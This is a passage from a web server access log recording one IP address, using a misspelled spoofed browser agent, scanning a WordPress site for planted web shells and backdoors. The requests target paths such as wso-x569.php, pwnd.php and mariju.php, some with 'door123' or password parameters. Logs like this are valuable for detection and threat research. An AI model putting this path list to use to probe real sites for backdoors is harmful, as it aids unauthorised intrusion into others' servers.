Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:15 -0400] "GET /wp-content/upgrade/themes.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:15 -0400] "GET /.tmb/themes.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:16 -0400] "GET /wp-content/upgrade-temp-backup/themes.php HTTP/1.1" 301 272 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:16 -0400] "GET /wp-content/cache/themes.php HTTP/1.1" 301 258 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:16 -0400] "GET /wp-includes/random_compat/themes.php HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:17 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:17 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:17 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:18 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:18 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 260 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:19 -0400] "GET /img/about.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:19 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:19 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:20 -0400] "GET /wp-content/plugins/upload/up.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:20 -0400] "GET /wp-content/plugins/aryabot/mari.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:20 -0400] "GET /site/wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 290 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:21 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 284 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:21 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:21 -0400] "GET /oxi-rex.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:21 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:22 -0400] "GET /updates.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:22 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:23 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:23 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:23 -0400] "GET /ok.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:24 -0400] "GET /ccx/index.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:24 -0400] "GET /wp-2019.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:24 -0400] "GET /class-IXR-date.php HTTP/1.1" 301 249 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:25 -0400] "GET /configNRB/admin.php HTTP/1.1" 301 250 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:25 -0400] "GET /dropdown.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:25 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:26 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:27 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:27 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 271 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:27 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 259 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:28 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:28 -0400] "GET /wp-atom.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:28 -0400] "GET /fw.php HTTP/1.1" 301 237 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:29 -0400] "GET /lock.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:29 -0400] "GET /wp-content/product.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:29 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 257 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:30 -0400] "GET /0x1949.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:30 -0400] "GET /wp-login.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:30 -0400] "GET /wp-manage0.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:31 -0400] "GET /outpull.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:31 -0400] "GET /unsets.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:31 -0400] "GET /owl22.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:32 -0400] "GET /wp-managee1.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:32 -0400] "GET /wp-manage1.php HTTP/1.1" 301 245 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:32 -0400] "GET /cloud.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:33 -0400] "GET /doc.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:33 -0400] "GET /file.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:33 -0400] "GET /license.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:34 -0400] "GET /mariju.php HTTP/1.1" 301 241 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:34 -0400] "GET /moon.php HTTP/1.1" 301 239 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:34 -0400] "GET /sgd.php HTTP/1.1" 301 238 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:35 -0400] "GET /webdb.php HTTP/1.1" 301 240 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:35 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:35 -0400] "GET /wp-logout.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:36 -0400] "GET /wp-hoard.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:36 -0400] "GET /wp-blog.php HTTP/1.1" 301 242 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:36 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:37 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:37 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:37 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 267 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:38 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:38 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 263 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:38 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 246 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:39 -0400] "GET /phpmailer.lang-sv.php HTTP/1.1" 301 252 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:39 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 268 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:39 -0400] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:39 -0400] "GET /class_api.php HTTP/1.1" 301 244 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:40 -0400] "GET /wso-x569.php HTTP/1.1" 301 243 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:40 -0400] "GET /wp-includes/js/500.php HTTP/1.1" 301 253 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:40 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:41 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 264 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:41 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 262 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:42 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:42 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:42 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 291 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:42 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 261 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:43 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 266 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:43 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 265 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:43 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 255 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:44 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 270 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:44 -0400] "GET /wp-admin/user/users.php HTTP/1.1" 301 254 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:45 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 248 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:45 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 256 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:45 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 404 - "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:45 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 286 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 128.199.106.124 - - [16/Aug/2025:04:30:46 -0400] "GET 